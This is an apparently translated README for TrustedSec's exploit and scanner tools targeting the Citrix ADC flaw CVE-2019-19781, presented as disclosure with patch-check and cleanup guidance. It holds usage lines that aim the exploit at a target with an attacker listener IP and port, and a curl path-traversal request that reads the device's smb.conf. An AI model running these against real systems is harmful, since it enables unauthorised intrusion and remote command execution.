
هذه أداة نُشرت لثغرة Citrix ADC (NetScaler). نحن نكشف عنها فقط لأن آخرين نشروا كود الاستغلال أولاً.
تم رفع هذا فقط لأن باحثين آخرين نشروا أكوادهم أولاً. كنا نأمل أن يظل هذا مخفيًا لفترة أطول بعض الشيء حتى يتسنى للمدافعين الوقت الكافي لتصحيح أنظمتهم.
نحن جميعًا مع الإفصاح المسؤول، وفي هذه الحالة - كان السر قد انكشف بالفعل.
الاستغلالات: CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics and IOCS: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
تستغل هذه الأداة ثغرة اجتياز الدليل داخل Citrix ADC (NetScalers) والتي تستدعي سكربت perl يُستخدم لإلحاق ملفات بصيغة XML بالجهاز الضحية. وهذا بدوره يسمح بتنفيذ الأوامر عن بُعد.
تأكد من تنظيف هذين الموقعين للملفات: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
لاحظ أن أسماء مضيفي DNS وعناوين IP مدعومة في حقلي victimaddress و attackerip_listener.
الاستخدام:
python citrixmash.py <attackerip_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport
هذا اختبار بسيط للتحقق مما إذا كان الخادم لا يزال عرضة للثغرة CVE-2019-19781.
الاستخدام: python3 cve-2019-19781.py
لاحظ أنه يمكنك استخدام ترميزات CIDR مثل 192.168.1.1/24 وأسماء المضيفين أيضًا.
سيظهر إن كان الخادم لا يزال عرضة للثغرة أم لا. يمكنك فقط فحص خادم واحد في كل مرة.
CVE-2019-19781-Scanner Company: TrustedSec Written by: Dave Kennedy This will look to see if the remote system is still vulnerable to CVE-2019-19781. This will only scan one host at a time. You can use CIDR notations as well for example: 192.168.1.1/24 You can use hostnames instead of IP addresses also. You can also use a file with IP addresses generated by an external tool.
Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Example4: python3 cve-2019-19781_scanner.py as15169 443 Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Example6: python3 cve-2019-19781_scanner.py file:hostfile 443
Usage: python3 cve-2019-19781_scanner.py targetip targetport
usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]
إذا كنت تريد اختبار ما إذا كان هذا التعرض قد تم تخفيفه، استخدم ما يلي:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
أو إذا كنت تستخدم شهادة CA غير عامة أو داخلية خاصة بالمؤسسة، يمكنك تجاوز ذلك باستخدام خيار --insecure
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
إما أن يعني رمز 403 أنك مُصحَّح، أو إذا أعاد موقع Citrix وليس ملف smb.conf نفسه.
إذا كان بإمكانك رؤية smb.conf، فأنت عرضة للثغرة.
لتثبيت المتطلبات، ستحتاج إلى تشغيل الأمر أدناه.
pip3 install -r requirements.txt